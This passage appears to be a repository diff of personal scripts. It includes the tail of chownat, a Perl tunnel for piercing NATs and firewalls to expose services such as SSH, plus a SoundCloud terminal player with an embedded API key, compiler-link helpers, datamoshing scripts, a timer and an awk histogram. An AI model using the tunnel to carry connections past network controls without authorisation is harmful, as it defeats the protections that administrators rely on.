||||
$disconnectThem = 0;
|
||||
# send back "you're connected!"
|
||||
&debug("REMOTE: 6Attempted to connect to us, initializing connection");
|
||||
&server_chownat_connect($remoteport);
|
||||
|
||||
# open a real connection to the local port we are tunneling
|
||||
my $paddr = sockaddr_in($localport, inet_aton($localhost));
|
||||
|
||||
# close any SOCK that might already be open
|
||||
close(SOCK);
|
||||
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "socket: $!";
|
||||
connect(SOCK, $paddr) || die "Can't open socket to $localhost:$localport: $!";
|
||||
&debug("Connection to local daemon (port $localport) opened");
|
||||
$select->add(\*SOCK);
|
||||
}
|
||||
|
||||
# user is disconnecting
|
||||
elsif ($command == 2) #eq "02\n")
|
||||
{
|
||||
&debug("REMOTE: 7Attempting to disconnect");
|
||||
$disconnectThem = 1;
|
||||
checkDisconnect(1);
|
||||
}
|
||||
|
||||
# user is handshaking
|
||||
elsif ($command == 3) #eq "03\n")
|
||||
{
|
||||
&debug("REMOTE: handshake", 5);
|
||||
send(CHOWNAT, chr(3), 0, $remoteport);
|
||||
next;
|
||||
}
|
||||
|
||||
# remote chownat is missing some packets
|
||||
elsif ($command == 8) #=~ /^08(.)(.)/s)
|
||||
{
|
||||
&debug("Remote needs $got, on $id");
|
||||
send(CHOWNAT, chr(9) . chr(($got & 0xFF00) / 0x0100) . chr($got & 0xff) . $outBuff[$got], 0, $remoteport);
|
||||
}
|
||||
|
||||
# Got data from remote CHOWNAT for our local socket
|
||||
elsif ($command == 9) #=~ /^09(.)(.)/s)
|
||||
{
|
||||
processData($data,$got);
|
||||
#&debug("Got $got, wanted $expected", ($got == $expected ? 4 : 1));
|
||||
}
|
||||
elsif ($command == 10) #confirmation of delivery
|
||||
{
|
||||
confirmation($got);
|
||||
}
|
||||
} #else
|
||||
} #foreach fh
|
||||
} #while select
|
||||
#if($totalMissing) {
|
||||
# #debug("checking missing totalMissing = $totalMissing");
|
||||
# if(time() - $lastMissed > 0) { #ask for missing packets every second
|
||||
# requestMissing($lastWritten,65536);
|
||||
# }
|
||||
#}
|
||||
checkConfirm();
|
||||
#Send keep-alive
|
||||
keepalive();
|
||||
} #while not closed
|
||||
}
|
||||
else
|
||||
{
|
||||
die "Invalid mode.\n";
|
||||
}
|
||||
|
||||
sub chowout
|
||||
{
|
||||
send(CHOWNAT, $_[0], 0, $remoteport);
|
||||
$lastPacket = time();
|
||||
}
|
||||
|
||||
sub checkConfirm
|
||||
{
|
||||
if($id>$expectConfirmed) {
|
||||
my $mill;
|
||||
(undef,$mill) = Time::HiRes::gettimeofday();
|
||||
if($mill-$mConfirmed > 449) {
|
||||
my $i;
|
||||
for($i=$expectConfirmed;$i<$id;$i++) {
|
||||
if($confirm[$i]==0) {
|
||||
debug("resending(c) $i");
|
||||
chowout(chr(9) . chr(($i & 0xFF00) / 0x0100) . chr($i & 0xff) . $outBuff[$i]);
|
||||
}
|
||||
}
|
||||
(undef,$mConfirmed) = Time::HiRes::gettimeofday();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub confirmation
|
||||
{
|
||||
#debug("local $data = -->".$data."<--");
|
||||
my $got = $_[0];
|
||||
if($confirm[$got]==0) {
|
||||
$confirm[$got]=1;
|
||||
debug("Confirmed $got");
|
||||
$lastConfirmed = $got;
|
||||
if($got>$expectConfirmed) {
|
||||
my $i;
|
||||
for($i=$expectConfirmed;$i<$got;$i++) {
|
||||
if($confirm[$i]==0) {
|
||||
&debug("resending(c1) $i");
|
||||
&chowout(chr(9) . chr(($i & 0xFF00) / 0x0100) . chr($i & 0xff) . $outBuff[$i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
elsif($got==$expectConfirmed) {
|
||||
while($confirm[$expectConfirmed]==1) {
|
||||
if(++$expectConfirmed==65536) {
|
||||
$expectConfirmed = 0;
|
||||
}
|
||||
}
|
||||
(undef,$mConfirmed) = Time::HiRes::gettimeofday();
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub keepalive
|
||||
{
|
||||
if(time() - $lastPacket > 4) { #send every second
|
||||
&chowout(chr(0) . chr(($expected & 0xFF00) / 0x0100) . chr($expected & 0xff));
|
||||
&debug("Sent keepalive");
|
||||
}
|
||||
}
|
||||
|
||||
sub checkDisconnect
|
||||
{
|
||||
if($_[0]==1) {
|
||||
$select->remove(\*SOCK);
|
||||
close SOCK;
|
||||
$lastWritten = 0;
|
||||
}
|
||||
|
||||
if(!$closed) {
|
||||
if($totalMissing==0 && $disconnectMe==0) {
|
||||
&chownat_disconnect($remoteport);
|
||||
$disconnectMe = 1;
|
||||
$lastWritten = 0;
|
||||
}
|
||||
|
||||
if($disconnectThem == 1 && $closed == 0) {
|
||||
if($totalMissing==0) {
|
||||
$id = 0;
|
||||
$expected = 0;
|
||||
@outBuff = ();
|
||||
@inBuff = ();
|
||||
@todo = ();
|
||||
@confirm = ();
|
||||
|
||||
$select->remove(\*SOCK);
|
||||
close SOCK;
|
||||
$lastWritten = 0;
|
||||
$closed = 1;
|
||||
&debug("Disconnected");
|
||||
}
|
||||
else {
|
||||
debug("Can't disconnect, data missing");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub requestMissing #if some of these packets don't make it ask for them again
|
||||
{
|
||||
#&debug("requestMissing");
|
||||
my $i;
|
||||
my $found=0;
|
||||
for($i=$_[0];$found<$totalMissing && $i<$_[1];$i++) {
|
||||
if($missing[$i]==1) {
|
||||
&chowout(chr(8) . chr(($i & 0xFF00) / 0x0100) . chr($i & 0xFF));
|
||||
&debug("asking resend2 $i");
|
||||
$found++;
|
||||
}
|
||||
}
|
||||
$lastMissed = time();
|
||||
}
|
||||
|
||||
sub removeMissing
|
||||
{
|
||||
$todo[$_[0]]=1;
|
||||
if($missing[$_[0]]==1) {
|
||||
$missing[$_[0]]=0;
|
||||
$totalMissing--;
|
||||
&debug("\tGot missing $_[0]");
|
||||
$lastMissed = time();
|
||||
$recentlyMissed = $_[0];
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
sub checkMissing
|
||||
{
|
||||
#&debug("checkMissing $_[0] and $_[1]");
|
||||
my $i;
|
||||
for($i=$_[0];$i<$_[1];$i++) {
|
||||
if($todo[$i]==0 && $missing[$i]==0) {
|
||||
#send(CHOWNAT, chr(8) . chr(($i & 0xFF00) / 0x0100) . chr($i & 0xFF), 0, $remoteport);
|
||||
&debug("asking resend $i");
|
||||
$missing[$i]=1;
|
||||
$totalMissing++;
|
||||
if($totalMissing == 1) {
|
||||
$lastMissed = time();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub processData
|
||||
{
|
||||
my $data = $_[0];
|
||||
my $got = $_[1];
|
||||
my $mesg = "Got $got";
|
||||
my $pkt = chr(10) . chr(($got & 0xFF00) / 0x0100) . chr($got & 0xFF);
|
||||
$inBuff[$got]=$data;
|
||||
|
||||
# make sure this is the expected packet
|
||||
|
||||
&chowout($pkt);
|
||||
if ($got != $expected)
|
||||
{
|
||||
if ($todo[$got]==1)
|
||||
{
|
||||
&debug("Got duplicate $got");
|
||||
}
|
||||
elsif(!&removeMissing($got)) {
|
||||
#$todo[$got]=1;
|
||||
#&debug("set todo on $got");
|
||||
&debug($mesg . ", expected $expected");
|
||||
$mesg = "";
|
||||
if($got < $expected) {
|
||||
&checkMissing($expected,65536);
|
||||
&checkMissing(0,$got);
|
||||
}
|
||||
else {
|
||||
&checkMissing($expected,$got);
|
||||
}
|
||||
|
||||
if($got<65535) {
|
||||
$expected = $got+1;
|
||||
}
|
||||
else {
|
||||
$expected = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
if($expected<65535) {
|
||||
$expected++;
|
||||
}
|
||||
else {
|
||||
$expected = 0;
|
||||
}
|
||||
}
|
||||
$todo[$got]=1;
|
||||
#&debug("set todo on $got");
|
||||
if($mesg ne "") {
|
||||
&debug($mesg);
|
||||
}
|
||||
|
||||
while($todo[$lastWritten]==1) {
|
||||
# send data from remote chownat to our client
|
||||
send(SOCK, $inBuff[$lastWritten], 0);
|
||||
#$todo[$lastWritten]=0;
|
||||
#debug("local out = -->".$buffer2[$lastWritten]."<--");
|
||||
$lastWritten = 0 if ++$lastWritten == 65536;
|
||||
}
|
||||
|
||||
if(($disconnectMe==1 || $disconnectThem==1) && $totalMissing==0) {
|
||||
&debug("Got missing packets, Disconnecting");
|
||||
&checkDisconnect(1);
|
||||
}
|
||||
#send confirm packet again, this reduces the odds of this info not getting through
|
||||
#increases throughput by ~25% or more in my testing. Overhead is small, so should be ok.
|
||||
#we're trained so if we get the same confirmed packet in a row we ignore it
|
||||
&chowout($pkt);
|
||||
}
|
||||
|
||||
sub debug
|
||||
{
|
||||
my $msg = shift;
|
||||
$msg =~ s/\r?\n//g;
|
||||
|
||||
print "DEBUG: $msg\n" if (shift > 1 ? $DEBUG > 1 : $DEBUG >= 1);
|
||||
}
|
||||
|
||||
sub usage
|
||||
{
|
||||
my $debug = 0;
|
||||
if ($ARGV[0] eq "-d")
|
||||
{
|
||||
$debug++;
|
||||
shift(@ARGV);
|
||||
}
|
||||
|
||||
if ($ARGV[0] eq "-d")
|
||||
{
|
||||
$debug++;
|
||||
shift(@ARGV);
|
||||
}
|
||||
|
||||
if ($ARGV[0] eq "-dd")
|
||||
{
|
||||
$debug = 2;
|
||||
shift(@ARGV);
|
||||
}
|
||||
|
||||
$ARGV[3] ||= 2222;
|
||||
|
||||
die << "EOF"
|
||||
chownat 0.08b-beta
|
||||
usage: $0 [-d] <-c|-s> <local port> <dest host> [communication port]
|
||||
|
||||
-d debug mode, two -d's for verbose debug mode
|
||||
-c client mode, you connect other applications to
|
||||
localhost:local_port and it tunnels to the dest host
|
||||
-s server mode, anyone who connects to you gets tunneled
|
||||
to whatever is already running on localhost:local_port
|
||||
|
||||
<local port> local port to listen on or connect to
|
||||
depending on if -c or -s is used
|
||||
<dest host> destination host to connect to or
|
||||
allow connections from
|
||||
[comm port] port to communicate on, default of 2222
|
||||
|
||||
|
||||
example:
|
||||
on machine \"nat1\" running an ssh server behind a nat:
|
||||
nat1\$ ./chownat.pl -d -s 22 nat2.com
|
||||
|
||||
on machine \"nat2\" behind another nat:
|
||||
nat2\$ ./chownat.pl -d -c 1234 nat1.com
|
||||
|
||||
nat2 can now run `ssh -p 1234 username\@localhost` to ssh as 'username'
|
||||
to nat1 and break straight through both NATs / firewalls
|
||||
|
||||
EOF
|
||||
if @ARGV != 4 ||
|
||||
$ARGV[0] !~ /^-[sc][hx]*$/ ||
|
||||
$ARGV[1] !~ /^\d+$/ ||
|
||||
$ARGV[2] =~ /[^a-zA-Z\d.-]/ ||
|
||||
$ARGV[3] !~ /^\d+$/;
|
||||
|
||||
return ($debug, @ARGV);
|
||||
}
|
||||
|
||||
# server side -- accepts and establishes a connection with the remote chownat
|
||||
sub server_chownat_connect
|
||||
{
|
||||
my $data;
|
||||
while (1)
|
||||
{
|
||||
&debug("Connecting..");
|
||||
send(CHOWNAT, chr(3), 0, $_[0]); #"03\n"
|
||||
eval
|
||||
{
|
||||
$SIG{ALRM}=sub{die};
|
||||
alarm(1);
|
||||
recv(CHOWNAT,$data,3,0);
|
||||
#debug("[1a = $data]=".($data ne "L\0").",".($data ne "L\0\n").",".($data ne "L\0\0"));
|
||||
alarm(0);
|
||||
};
|
||||
|
||||
# we're connected
|
||||
if (ord($data) == 3)
|
||||
{
|
||||
&debug("REMOTE: Connection opened to remote end");
|
||||
$closed = 0;
|
||||
$disconnectMe = 0;
|
||||
$disconnectThem = 0;
|
||||
last;
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
# client side -- establishes a connection with the remote chownat
|
||||
sub client_chownat_connect
|
||||
{
|
||||
my $data;
|
||||
|
||||
# open up a connection to the remote side
|
||||
&debug("Opening a connection to the remote end");
|
||||
while (1)
|
||||
{
|
||||
&debug("8Attempting to connect..");
|
||||
|
||||
# open the connection
|
||||
send(CHOWNAT, chr(1), 0, $remoteport);
|
||||
eval
|
||||
{
|
||||
$SIG{ALRM}=sub{die};
|
||||
alarm(1);
|
||||
recv(CHOWNAT,$data,$size,0);
|
||||
alarm(0);
|
||||
};
|
||||
|
||||
# we're connected
|
||||
if (ord($data) == 3)
|
||||
{
|
||||
chowout(chr(3));
|
||||
$closed = 0;
|
||||
$disconnectMe = 0;
|
||||
$disconnectThem = 0;
|
||||
&debug("REMOTE: Connection opened to remote end");
|
||||
last;
|
||||
}
|
||||
select(undef, undef, undef, 0.02);
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
# client side -- binds a socket to allow local connections
|
||||
sub client_bind
|
||||
{
|
||||
my $localport = shift;
|
||||
&debug("Binding a new socket to $localport");
|
||||
|
||||
socket(WAITCLI, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
|
||||
setsockopt(WAITCLI, SOL_SOCKET, SO_REUSEADDR, pack("l", 1));
|
||||
bind(WAITCLI, sockaddr_in($localport, INADDR_ANY)) || die "Cannot bind to $localport: $!\n";
|
||||
listen(WAITCLI, 1);
|
||||
}
|
||||
|
||||
|
||||
# disconnect from remote chownat
|
||||
sub chownat_disconnect
|
||||
{
|
||||
my $data;
|
||||
&debug("9Attempting to disconnect");
|
||||
|
||||
# let the remote NAT know we're disconnecting
|
||||
&debug("Trying to disconnect..");
|
||||
send(CHOWNAT, chr(2), 0, $_[0]);
|
||||
}
|
||||
|
||||
|
||||
|
||||
# check for required modules for this to work
|
||||
sub check_modules
|
||||
{
|
||||
my @check = @_;
|
||||
my @notfound;
|
||||
|
||||
foreach my $module (@check)
|
||||
{
|
||||
my $string;
|
||||
$string = substr("$module ............................", 0, 30);
|
||||
|
||||
my $version = eval "use $module; \$${module}::VERSION";
|
||||
if ($version)
|
||||
{
|
||||
$string .= "found version $version\n";
|
||||
print STDERR $string;
|
||||
}
|
||||
else
|
||||
{
|
||||
$string .= "** FAILED **\n";
|
||||
print STDERR $string;
|
||||
|
||||
push(@notfound, $module);
|
||||
}
|
||||
}
|
||||
|
||||
print "\n";
|
||||
|
||||
if (@notfound)
|
||||
{
|
||||
print "some required modules are missing\nshall i install them [y/n]: ";
|
||||
chomp(my $answer = <STDIN>);
|
||||
|
||||
if ($answer !~ /^y/i)
|
||||
{
|
||||
die "\nmust install modules before continuing. have a nice day.\n";
|
||||
}
|
||||
|
||||
print "\n";
|
||||
}
|
||||
|
||||
foreach my $module (@notfound)
|
||||
{
|
||||
CPAN::Shell->install($module);
|
||||
print "\n";
|
||||
}
|
||||
|
||||
# load all modules after we know we have them all installed
|
||||
foreach (@check)
|
||||
{
|
||||
eval("use $_");
|
||||
}
|
||||
}
|
||||
Symlink
+1
@@ -0,0 +1 @@
|
||||
clip-sanitizer.sh
|
||||
Executable
+134
@@ -0,0 +1,134 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
require 'pp'
|
||||
require 'observer'
|
||||
require 'logger'
|
||||
require 'json/pure'
|
||||
require_relative 'soundcloud.rb'
|
||||
require_relative 'mpg123player.rb'
|
||||
require_relative 'ncurses_ui.rb'
|
||||
|
||||
class Cloudruby
|
||||
def init(q, config)
|
||||
@config = config
|
||||
@cloud = SoundCloud.new "76796f79392f9398288cdac3fe3391c0"
|
||||
@player = MPG123Player.new
|
||||
@ui = NCursesUI.new self, (@config[:ncurses] || @config[:curses])
|
||||
|
||||
# @logger = Logger.new "logfile.log"
|
||||
@logger = Logger.new STDERR
|
||||
# @logger.level = Logger::DEBUG
|
||||
@logger.level = Logger::Severity::UNKNOWN
|
||||
|
||||
@player.logger = @logger
|
||||
@ui.logger = @logger
|
||||
@logger.info {"logger inited"}
|
||||
|
||||
@player.add_observer @ui, :player_update
|
||||
@player.add_observer self
|
||||
@cloud.add_observer @ui, :cloud_update
|
||||
@logger.info {"observer assigned"}
|
||||
|
||||
@cloud.load_playlist q
|
||||
@logger.info {"loaded playlist"}
|
||||
@cloud.shufflePlaylist unless @config[:"no-shuffle"]
|
||||
@logger.info {"playlist shuffled"}
|
||||
nextTrack
|
||||
|
||||
trap("INT") do
|
||||
self.quit
|
||||
end
|
||||
end
|
||||
|
||||
def nextTrack
|
||||
track = @cloud.nextTrack
|
||||
unless track
|
||||
puts "Nothing found"
|
||||
quit
|
||||
else
|
||||
@player.play track
|
||||
end
|
||||
end
|
||||
|
||||
def prevTrack
|
||||
track = @cloud.prevTrack
|
||||
unless track
|
||||
puts "Nothing found"
|
||||
quit
|
||||
else
|
||||
@player.play track
|
||||
end
|
||||
end
|
||||
|
||||
def pause
|
||||
@player.pause
|
||||
end
|
||||
|
||||
def volumeUp
|
||||
@player.volume = 5
|
||||
end
|
||||
|
||||
def volumeDown
|
||||
@player.volume = -5
|
||||
end
|
||||
|
||||
def toggleMute
|
||||
@player.mute
|
||||
end
|
||||
|
||||
def run
|
||||
@ui.run
|
||||
end
|
||||
|
||||
# jump to next track, if current track finishes
|
||||
def update(arg)
|
||||
state = arg[:state]
|
||||
case state
|
||||
when :stop
|
||||
nextTrack
|
||||
end
|
||||
end
|
||||
|
||||
def download
|
||||
@cloud.download @config[:download_dir]
|
||||
end
|
||||
|
||||
# quit app and free all resources
|
||||
def quit
|
||||
@ui.close
|
||||
@player.close
|
||||
@logger.close
|
||||
exit
|
||||
end
|
||||
end
|
||||
if $0 == __FILE__
|
||||
@config = {}
|
||||
@query = []
|
||||
cfile = File.join Dir.home, ".#{File.basename($0)}.json"
|
||||
|
||||
ARGV.each do |a|
|
||||
if a[0, 2] == "--"
|
||||
a = a[2..-1]
|
||||
key, value = a.split("=", 2)
|
||||
@config[key.to_sym] = value || true
|
||||
else
|
||||
@query << a
|
||||
end
|
||||
end
|
||||
|
||||
if @config[:noconfig].nil? && File.readable?(cfile)
|
||||
File.open cfile, 'r' do |file|
|
||||
jsonconf = JSON.load file, nil, :symbolize_names => true
|
||||
@config = jsonconf.merge(@config)
|
||||
end
|
||||
end
|
||||
|
||||
@config[:download_dir] ||= Dir.pwd
|
||||
|
||||
@query = @query.join " "
|
||||
|
||||
c = Cloudruby.new
|
||||
c.init @query, @config
|
||||
c.run
|
||||
end
|
||||
|
||||
Executable
+4
@@ -0,0 +1,4 @@
|
||||
#!/bin/sh
|
||||
git commit -am "AutoCommit @ $(date)"
|
||||
pkill java
|
||||
pp
|
||||
Executable
+9
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
# file /home/pi/s-arm-compiler.sh
|
||||
echo 'linking gcc to arm-gcc with ln -s'
|
||||
cd /home/kof/rpi-tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/bin
|
||||
ln -s arm-linux-gnueabihf-gcc gcc
|
||||
ln -s arm-linux-gnueabihf-gcc cc
|
||||
ln -s arm-linux-gnueabihf-c++ c++
|
||||
ln -s arm-linux-gnueabihf-cpp cpp
|
||||
ln -s arm-linux-gnueabihf-g++ g++
|
||||
Executable
+5
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
# file /home/pi/s-x86compiler.sh
|
||||
echo "removing arm compiler links to use defualt x86 again"
|
||||
cd /home/kof/tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/bin/bin
|
||||
rm c++ cpp g++ gcc cc
|
||||
@@ -0,0 +1,47 @@
|
||||
#!/usr/bin/env ruby
|
||||
# encoding: utf-8
|
||||
require File.expand_path '../helper.rb', $0
|
||||
|
||||
doc = <<-DOC.gsub '__FILE__', File.basename($0)
|
||||
Make multiple files into datamoshing and concatenate them into one movie.
|
||||
|
||||
Usage:
|
||||
__FILE__ <infile>... -o <outfile> [--debug]
|
||||
__FILE__ -h | --help
|
||||
|
||||
Options:
|
||||
-o <outfile> Set output file name.
|
||||
--debug Flag for debugging [default: false].
|
||||
-h --help Show this screen.
|
||||
DOC
|
||||
|
||||
begin
|
||||
options = Docopt::docopt doc
|
||||
mktmpdir(options['--debug']) do |tmpdir|
|
||||
cmd = Cocaine::CommandLine.new 'ffmpeg', '-i :infile -c:v mpeg4 -y -q:v 0 -an :outfile'
|
||||
avi = nil
|
||||
options['<infile>'].each.with_index do |infile, i|
|
||||
avifile = tmpdir.join('mpeg4.avi')
|
||||
cmd.run infile: infile, outfile: avifile.to_s
|
||||
a = AviGlitch.open avifile
|
||||
unless i == 0
|
||||
a.glitch :keyframe do |f|
|
||||
''
|
||||
end
|
||||
end
|
||||
a.mutate_keyframes_into_deltaframes!
|
||||
if avi.nil?
|
||||
avi = a
|
||||
else
|
||||
avi.frames.concat a.frames
|
||||
a.close
|
||||
end
|
||||
end
|
||||
glitchfile = tmpdir.join 'glitch.avi'
|
||||
avi.output glitchfile
|
||||
cmd = Cocaine::CommandLine.new 'ffmpeg', '-i :infile -an -q:v 0 :outfile'
|
||||
cmd.run infile: glitchfile.to_s, outfile: options['-o']
|
||||
end
|
||||
rescue Docopt::Exit => e
|
||||
puts e.message
|
||||
end
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,51 @@
|
||||
# script to create timer in terminal
|
||||
# Jason Atwood
|
||||
# 2013/6/22
|
||||
#!/bin/sh
|
||||
|
||||
# start up
|
||||
echo "starting timer script ..."
|
||||
sleep 1 # seconds
|
||||
|
||||
# get input from user
|
||||
echo "Timer for how many minutes?"
|
||||
read DURATION
|
||||
DURATION=$(( $DURATION*60 )) # convert minutes to seconds
|
||||
|
||||
# get start time
|
||||
START=$(date +%s)
|
||||
|
||||
# infinite loop
|
||||
while [ -1 ]; do
|
||||
clear # clear window
|
||||
|
||||
# do math
|
||||
NOW=$(date +%s) # get time now in seconds
|
||||
DIF=$(( $NOW-$START )) # compute diff in seconds
|
||||
ELAPSE=$(( $DURATION-$DIF )) # compute elapsed time in seconds
|
||||
MINS=$(( $ELAPSE/60 )) # convert to minutes... (dumps remainder from division)
|
||||
SECS=$(( $ELAPSE - ($MINS*60) )) # ... and seconds
|
||||
|
||||
# conditional
|
||||
if [ $MINS -eq 0 ] && [ $SECS -eq 0 ] # if mins = 0 and secs = 0 (i.e. if time expired)
|
||||
then # blink screen
|
||||
for i in `seq 1 180`; # for i = 1:180 (i.e. 180 seconds)
|
||||
do
|
||||
clear # flash on
|
||||
setterm -term linux -back red -fore white # use setterm to change background color
|
||||
echo "00:00 " # extra tabs for visibiltiy
|
||||
|
||||
sleep 0.5
|
||||
|
||||
clear # flash off
|
||||
setterm -term linux -default # clear setterm changes from above
|
||||
echo "00:00" # (i.e. go back to white text on black background)
|
||||
sleep 0.5
|
||||
done # end for loop
|
||||
break # end script
|
||||
|
||||
else # else, time is not expired
|
||||
echo "$MINS:$SECS" # display time
|
||||
sleep 1 # sleep 1 second
|
||||
fi # end if
|
||||
done # end while loop
|
||||
Executable
+49
@@ -0,0 +1,49 @@
|
||||
#!/usr/bin/env ruby
|
||||
# encoding: utf-8
|
||||
require File.expand_path '../helper.rb', $0
|
||||
|
||||
doc = <<-DOC.gsub '__FILE__', File.basename($0)
|
||||
Do simple datamoshing.
|
||||
|
||||
Usage:
|
||||
__FILE__ <infile> [-s <start> --decap --raw] -o <outfile> [--debug]
|
||||
__FILE__ -h | --help
|
||||
|
||||
Options:
|
||||
-o <outfile> Set output file name.
|
||||
-s <start> Set begining position of datamoshing as sec [default: 0].
|
||||
--raw Keep output as no-keyframe avi [default: false].
|
||||
--decap Remain datamoshed frames only [default: false].
|
||||
--debug Flag for debugging [default: false].
|
||||
-h --help Show this screen.
|
||||
DOC
|
||||
|
||||
begin
|
||||
options = Docopt::docopt doc
|
||||
mktmpdir(options['--debug']) do |tmpdir|
|
||||
cmd = Cocaine::CommandLine.new 'ffmpeg', '-i :infile -c:v mpeg4 -y -q:v 0 -an :outfile'
|
||||
infile = options['<infile>']
|
||||
avifile = tmpdir.join('mpeg4.avi')
|
||||
cmd.run infile: infile, outfile: avifile.to_s
|
||||
cmd = Cocaine::CommandLine.new 'ffmpeg', '-i :infile 2>&1', :expected_outcodes => [0, 1]
|
||||
info = cmd.run infile: avifile.to_s
|
||||
fps = (info =~ /, ([\.\d]*) fp/) ? $1 : 24
|
||||
start_at = (fps.to_f * options['-s'].to_f).to_i
|
||||
a = AviGlitch.open avifile
|
||||
datamoshed = a.frames[start_at..-1].to_avi.remove_all_keyframes!
|
||||
if !options['--decap']
|
||||
base = a.frames[0..start_at].mutate_keyframes_into_deltaframes!
|
||||
datamoshed = (base.concat datamoshed.frames).to_avi
|
||||
end
|
||||
glitchfile = tmpdir.join 'glitch.avi'
|
||||
datamoshed.output glitchfile
|
||||
if options['--raw']
|
||||
cmd = Cocaine::CommandLine.new 'cp', ':infile :outfile'
|
||||
else
|
||||
cmd = Cocaine::CommandLine.new 'ffmpeg', '-i :infile -an -q:v 0 :outfile'
|
||||
end
|
||||
cmd.run infile: glitchfile.to_s, outfile: options['-o']
|
||||
end
|
||||
rescue Docopt::Exit => e
|
||||
puts e.message
|
||||
end
|
||||
@@ -0,0 +1,6 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import sys
|
||||
import os
|
||||
|
||||
os.system('meld "%s" "%s"' % (sys.argv[2], sys.argv[5]))
|
||||
Executable
+72
@@ -0,0 +1,72 @@
|
||||
#!/usr/bin/awk -f
|
||||
|
||||
# supply max_lines and max as variables like this:
|
||||
# cat /usr/share/dict/words | awk '{print length($1)}' | distribution -v max_lines=5 -v max=10
|
||||
|
||||
BEGIN {
|
||||
LIMIT=max
|
||||
DEFAULT_MAX_LINES=55
|
||||
if (lines) {
|
||||
NUMBER_OF_LINES=lines
|
||||
}
|
||||
else {
|
||||
NUMBER_OF_LINES=55
|
||||
}
|
||||
if (max_width) {
|
||||
LINE_WIDTH=max_width
|
||||
}
|
||||
else {
|
||||
LINE_WIDTH=100
|
||||
}
|
||||
}
|
||||
{
|
||||
if (match($1,/^[0-9\.]+$/)){
|
||||
if(!LIMIT>0 || $1<LIMIT) {
|
||||
values[i++]=$1
|
||||
}
|
||||
}
|
||||
}
|
||||
END {
|
||||
number_of_records = 0
|
||||
for(v_index in values) {
|
||||
if(max<values[v_index]) max = values[v_index]
|
||||
number_of_records++
|
||||
}
|
||||
if (max_lines) {
|
||||
if (max <= max_lines) {
|
||||
number_of_lines = max
|
||||
}
|
||||
else {
|
||||
number_of_lines = max_lines
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (max <= DEFAULT_MAX_LINES) {
|
||||
number_of_lines = max
|
||||
}
|
||||
else {
|
||||
number_of_lines = DEFAULT_MAX_LINES
|
||||
}
|
||||
}
|
||||
line_height=max/number_of_lines
|
||||
for(v_index in values) {
|
||||
counted[int(values[v_index]/line_height)] += 1
|
||||
}
|
||||
line=0
|
||||
max_width=0
|
||||
while(line <= number_of_lines) {
|
||||
if(max_width<counted[line]) max_width = counted[line]
|
||||
line++
|
||||
}
|
||||
line=0
|
||||
records_so_far = 0
|
||||
printf("%8s %8s %8s %s\n","Value","Height","%ile","Histogram")
|
||||
while(line <= number_of_lines) {
|
||||
records_so_far += counted[line]
|
||||
bar_width=counted[line]*LINE_WIDTH/max_width
|
||||
bar=""
|
||||
while (bar_width-->0) bar=bar "#"
|
||||
printf("%8d %8d %8.4f %s\n",line * line_height,counted[line],100*records_so_far/number_of_records, bar)
|
||||
line ++
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,438 @@
|
||||
# coding: latin-1
|
||||
# Copyright (c) 2009,2010 Dirk Baechle.
|
||||
# www: https://bitbucket.org/dirkbaechle/dottoxml
|
||||
# mail: dl9obn AT darc.de
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify it under
|
||||
# the terms of the GNU General Public License as published by the Free Software
|
||||
# Foundation; either version 2 of the License, or (at your option) any later
|
||||
# version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License along with
|
||||
# this program; if not, write to the Free Software Foundation, Inc.,
|
||||
# 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
"""
|
||||
Helper classes and functions for the dottoxml.py tool
|
||||
"""
|
||||
|
||||
import re
|
||||
import X11Colors
|
||||
|
||||
r_label = re.compile(r'label\s*=\s*"\s*\{[^\}]*\}\s*"\s*')
|
||||
r_labelstart = re.compile(r'label\s*=\s*"\s*\{')
|
||||
r_labelclose = re.compile(r'\}\s*"')
|
||||
|
||||
# Default output encoding for the ASCII output formats GML and GDF
|
||||
latinenc = "latin-1"
|
||||
|
||||
def compileAttributes(attribs):
|
||||
""" return the list of attributes as a DOT text string """
|
||||
atxt = ""
|
||||
first = True
|
||||
for key, value in attribs.iteritems():
|
||||
if not first:
|
||||
atxt += ", %s=\"%s\"" % (key, value)
|
||||
else:
|
||||
atxt += "%s=\"%s\"" % (key, value)
|
||||
first = False
|
||||
|
||||
return "[%s]" % atxt
|
||||
|
||||
def parseAttributes(attribs):
|
||||
""" parse the attribute list and return a key/value dict for it """
|
||||
adict = {}
|
||||
tlist = []
|
||||
lmode = False
|
||||
ltext = ''
|
||||
# First pass: split entries by ,
|
||||
for a in attribs.split(','):
|
||||
if r_label.findall(a):
|
||||
tlist.append(a)
|
||||
elif r_labelstart.findall(a):
|
||||
ltext = a
|
||||
lmode = True
|
||||
else:
|
||||
if lmode:
|
||||
ltext += ",%s" % a
|
||||
if r_labelclose.findall(a):
|
||||
lmode = False
|
||||
tlist.append(ltext)
|
||||
else:
|
||||
tlist.append(a)
|
||||
|
||||
# Second pass: split keys from values by =
|
||||
for t in tlist:
|
||||
apos = t.find('=')
|
||||
if apos > 0:
|
||||
